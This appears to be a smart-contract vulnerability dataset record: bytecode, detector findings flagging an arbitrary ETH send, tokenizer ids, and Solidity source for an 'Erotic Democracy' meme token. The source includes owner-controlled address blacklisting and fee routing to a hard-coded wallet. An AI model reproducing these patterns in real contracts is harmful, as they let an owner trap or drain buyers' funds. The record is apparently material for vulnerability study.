56126c5578485fd5b6126d18c838d016124fe565b945060c08b01359150808211156126e6578384fd5b506126f38b828c016124fe565b92505060e089013590509295985092959890939650565b600080600080600080600080610100898b031215612726578384fd5b61272f8961247e565b97506020890135965060408901359550606089013567ffffffffffffffff80821115612759578586fd5b6127658c838d01612558565b965060808b013591508082111561277a578586fd5b6127868c838d016124fe565b955060a08b013591508082111561279b578485fd5b6127a78c838d016124fe565b945060c08b01359150808211156127bc578384fd5b506126f38b828c016125c0565b600080600080600080600080610100898b0312156127e5578384fd5b883567ffffffffffffffff808211156127fc578586fd5b6128088c838d01612489565b995060208b013591508082111561281d578586fd5b6128298c838d01612489565b985060408b0135975060608b0135965060808b01359150808211156126a4578586fd5b60008060008060808587031215612861578182fd5b843567ffffffffffffffff811115612877578283fd5b61288387828801612489565b94505060208501359250604085013561289b81613666565b9396929550929360600135925050565b600080600080600080600060e0888a0312156128c5578081fd5b873567ffffffffffffffff808211156128dc578283fd5b6128e88b838c01612489565b985060208a0135975060408a0135965060608a013591508082111561290b578283fd5b6129178b838c01612558565b955060808a013591508082111561292c578283fd5b6129388b838c016124fe565b945060a08a013591508082111561294d578283fd5b5061295a8a828b016124fe565b92505060c0880135905092959891949750929550565b600060208284031215612981578081fd5b815161110d81613666565b600080600080600080600060e0888a0312156129a6578081fd5b87356129b181613666565b96506020880135955060408801359450606088013567ffffffffffffffff8082111561290b578283fd5b6000602082840312156129ec578081fd5b5035919050565b60008060008060008060c08789031215612a0b578384fd5b8635955060208701359450604087013567ffffffffffffffff80821115612a30578586fd5b612a3c8a838b01612558565b95506060890135915080821115612a51578384fd5b612a5d8a838b016124fe565b94506080890135915080821115612a72578384fd5b50612a7f89828a016124fe565b92505060a087013590509295509295509295565b600081516020808401835b83811015612ac35781516001600160a01b031687529582019590820190600101612a9e565b509495945050505050565b6001600160601b0319606097881b81168252601482019690965293861b851660348501529190941b9092166048820152605c810192909252607c820152609c0190565b60006001600160601b0319808960601b168352876014840152808760601b166034840152508460488301528360688301528251612b558160888501602087016135d7565b91909101608801979650505050505050565b60006001600160601b03198860601b168252866014830152612b95612b8f6034840188612a93565b86612a93565b93845250506020820152604001949350505050565b60006001600160601b03198760601b168252856014830152612bcf6034830186612a93565b938452505060208201526040019392505050565b60609590951b6001600160601b0319168552601485019390935290151560f81b60348401526035830152605582015260750190565b60609490941b6001600160601b031916845260148401929092526034830152605482015260740190565b60008251612c548184602087016135d7565b9190910192915050565b60008351612c708184602088016135d7565b9190910191825250602001919050565b6001600160a01b03929092168252602082015260400190565b6020808252825182820181905260009190848201906040850190845b81811015612cda5783516001600160a01b031683529284019291840191600101612cb5565b50909695505050505050565b901515815260200190565b9115158252602082015260400190565b93845260ff9290921660208401526040830152606082015260800190565b6000602082528251806020840152612d3e8160408501602087016135d7565b601f01601f19169190910160400192915050565b6020808252601d908201527f7369676e6564206f776e6572206d7573742062652064697374696e6374000000604082015260600190565b60208082526023908201527f7468652072656d6f76652061646472657373206d7573742062652061206f776e60408201526232b91760e91b606082015260800190565b60208082526026908201527f696e61637469766520696e74657276616c206d757374206d6f7265207468616e60408201526520336461797360d01b606082015260800190565b6020808252601290820152710c4c2d8c2dcc6ca40dcdee840cadcdeeaced60731b604082015260600190565b6020808252601c908201527f746865206e657720616464726573732063616e27742062652030782e00000000604082015260600190565b60208082526024908201527f746865207369676e6564206f776e6572277320636f756e74206d757374207468604082015263616e203160e01b606082015260800190565b60208082526022908201527f746865206e6577206f776e657273206c6973742063616e277420626520656d74604082015261707960f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b6020808252601f908201527f7468652072656d6f766520616464726573732063616e27742062652030782e00604082015260600190565b6020808252601e908201527f6e6f7420616c6c6f77207472616e7366657220746f20796f757273656c660000604082015260600190565b60208082526022908201527f746865206e6577206164647265737320697320616c72656164792061206f776e60408201526132b960f11b606082015260800190565b6020808252602c908201527f7468652074776f20696e707574206f776e6572206c6973742063616e2774206260408201526b6f746820626520656d70747960a01b606082015260800190565b6020808252602d908201527f746865206f776e6572277320636f756e74206d757374206d6f7265207468616e60408201526c081d1a19481c995c5d5a5c9959609a1b606082015260800190565b60208082526027908201527f74686520736563757269747920737769746368206861736e2774206265656e206040820152663a3ab9371037b760c91b606082015260800190565b60208082526023908201527f7468652072656d6f76652061646472657373206d7573742062652064697374696040820152621b98dd60ea1b606082015260800190565b6020808252601b908201527f746865206f776e657273206d7573742062652064697374696e63740000000000604082015260600190565b60208082526017908201527f7468652077616c6c6574206e6f7420696e697420796574000000000000000000604082015260600190565b6020808252818101527f7468652077616c6c6574206f7065726174696f6e206973202065787069726564604082015260600190565b60208082526017908201527f74686520616464726573732063616e2774206265203078000000000000000000604082015260600190565b602080825260129082015271696e76616c6964207369676e61747572657360701b604082015260600190565b6020808252600e908201526d696e76616c696420706172616d7360901b604082015260600190565b60208082526026908201527f746865206f776e657273206d757374206d6f7265207468616e207468652072656040820152651c5d5a5c995960d21b606082015260800190565b6020808252818101527f746865206e65772061646472657373206d7573742062652064697374696e6374604082015260600190565b6020808252601f908201527f7472616e736665722076616c7565206d757374206d6f7265207468616e203000604082015260600190565b6020808252601e908201527f7468652077616c6c657420616c726561647920696e697469616c697a65640000604082015260600190565b60208082526022908201527f746865207369676e6564206f776e657220636f756e74206d757374207468616e604082015261203160f01b606082015260800190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b6020808252818101527f7472616e73616374696f6e206d617920686173206265656e2065786375746564604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b6020808252602b908201527f746865206f776e657220636f756e74206d757374206d6f7265207468616e207460408201526a1a19481c995c5d5a5c995960aa1b606082015260800190565b60208082526019908201527f636f6e747261637420657865637574696f6e204661696c656400000000000000604082015260600190565b6020808252602a908201527f77616c6c6574206f776e657273206d757374206d6f7265207468616e20746865604082015269103932b8bab4b932b21760b11b606082015260800190565b602080825260129082015271696e76616c696420706172616d657465727360701b604082015260600190565b90815260200190565b60405181810167ffffffffffffffff8111828210171561353757613537613638565b604052919050565b600067ffffffffffffffff82111561355957613559613638565b5060209081020190565b6000821982111561357657613576613622565b500190565b600060ff821660ff84168060ff0382111561359857613598613622565b019392505050565b6000826135bb57634e487b7160e01b81526012600452602481fd5b500490565b6000828210156135d2576135d2613622565b500390565b60005b838110156135f25781810151838201526020016135da565b83811115613601576000848401525b50505050565b600060001982141561361b5761361b613622565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461366357600080fd5b50565b801515811461366357600080fdfea2646970667358221220f1d4c39db182505d91e2c269c0f1403649abce86ed8c39a031468fe51f9326fe64736f6c63430008000033a264697066735822122064a08ed6d13121ca53f96615da8bd18e2edb157a99cfc8203cf0c5edb9ae397f64736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 16068, 2692, 2575, 2050, 2683, 2575, 15136, 17134, 2620, 2581, 2063, 2692, 2683, 2497, 2692, 4215, 2629, 27421, 2692, 2278, 2546, 2692, 24594, 2278, 20842, 2475, 2278, 2683, 2581, 2278, 2581, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1013, 4800, 5332, 16206, 9628, 3388, 1012, 14017, 1000, 1025, 3206, 4800, 5332, 16206, 9628, 3388, 21450, 1063, 2724, 2047, 9628, 3388, 1006, 4769, 25331, 15882, 1007, 1025, 3853, 3443, 1006, 4769, 1031, 1033, 2655, 2850, 2696, 1035, 5608, 1010, 21318, 3372, 1035, 3223, 1010, 27507, 16703, 5474, 1010, 22017, 2140, 1035, 3036, 26760, 20189, 1010, 21318, 3372, 1035, 16389, 18447, 2121, 10175, 1007, 2270, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,024
0x96150e34f8b56b59a53c2caab4510edb3085d070
/** **/ /* Short term meme ERC-20 Token made off Elon's recent tweet about erotic democracy. Join the tg https://t.me/EroticDemocracyERC20 Tokenomics: 💙 12% tax 💚 No maxtx 💛 No burn 🧡 One trillion supply */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract EroticDemocracy is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Erotic Democracy"; string private constant _symbol = "EROTIC"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xc15fe87Bce83f4d092D57886f0dDC562dfD13252); _feeAddrWallet2 = payable(0xc15fe87Bce83f4d092D57886f0dDC562dfD13252); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1e12 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = 1e12 * 10**9; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063dd62ed3e146103bb578063ff872602146103f857610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61040f565b60405161013b9190612ba2565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612734565b61044c565b6040516101789190612b87565b60405180910390f35b34801561018d57600080fd5b5061019661046a565b6040516101a39190612d04565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906126e5565b61047b565b6040516101e09190612b87565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612657565b610554565b005b34801561021e57600080fd5b50610227610644565b6040516102349190612d79565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906127b1565b61064d565b005b34801561027257600080fd5b5061027b6106ff565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612657565b610771565b6040516102b19190612d04565b60405180910390f35b3480156102c657600080fd5b506102cf6107c2565b005b3480156102dd57600080fd5b506102e6610915565b6040516102f39190612ab9565b60405180910390f35b34801561030857600080fd5b5061031161093e565b60405161031e9190612ba2565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612734565b61097b565b60405161035b9190612b87565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612770565b610999565b005b34801561039957600080fd5b506103a2610ae9565b005b3480156103b057600080fd5b506103b9610b63565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906126a9565b6110c0565b6040516103ef9190612d04565b60405180910390f35b34801561040457600080fd5b5061040d611147565b005b60606040518060400160405280601081526020017f45726f7469632044656d6f637261637900000000000000000000000000000000815250905090565b60006104606104596111ee565b84846111f6565b6001905092915050565b6000683635c9adc5dea00000905090565b60006104888484846113c1565b610549846104946111ee565b610544856040518060600160405280602881526020016133eb60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104fa6111ee565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119c69092919063ffffffff16565b6111f6565b600190509392505050565b61055c6111ee565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e090612c64565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106556111ee565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d990612c64565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107406111ee565b73ffffffffffffffffffffffffffffffffffffffff161461076057600080fd5b600047905061076e81611a2a565b50565b60006107bb600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b25565b9050919050565b6107ca6111ee565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610857576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084e90612c64565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f45524f5449430000000000000000000000000000000000000000000000000000815250905090565b600061098f6109886111ee565b84846113c1565b6001905092915050565b6109a16111ee565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2590612c64565b60405180910390fd5b60005b8151811015610ae557600160066000848481518110610a79577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610add9061301a565b915050610a31565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b2a6111ee565b73ffffffffffffffffffffffffffffffffffffffff1614610b4a57600080fd5b6000610b5530610771565b9050610b6081611b93565b50565b610b6b6111ee565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bef90612c64565b60405180910390fd5b600f60149054906101000a900460ff1615610c48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3f90612ce4565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cd830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006111f6565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1e57600080fd5b505afa158015610d32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d569190612680565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610db857600080fd5b505afa158015610dcc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610df09190612680565b6040518363ffffffff1660e01b8152600401610e0d929190612ad4565b602060405180830381600087803b158015610e2757600080fd5b505af1158015610e3b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5f9190612680565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ee830610771565b600080610ef3610915565b426040518863ffffffff1660e01b8152600401610f1596959493929190612b26565b6060604051808303818588803b158015610f2e57600080fd5b505af1158015610f42573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f679190612803565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550683635c9adc5dea000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161106a929190612afd565b602060405180830381600087803b15801561108457600080fd5b505af1158015611098573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110bc91906127da565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61114f6111ee565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d390612c64565b60405180910390fd5b683635c9adc5dea00000601081905550565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611266576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125d90612cc4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cd90612c04565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113b49190612d04565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611431576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142890612ca4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149890612bc4565b60405180910390fd5b600081116114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612c84565b60405180910390fd5b6002600a81905550600a600b819055506114fc610915565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561156a575061153a610915565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156119b657600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116135750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61161c57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156116c75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273fffffffffffffffffffffffffffff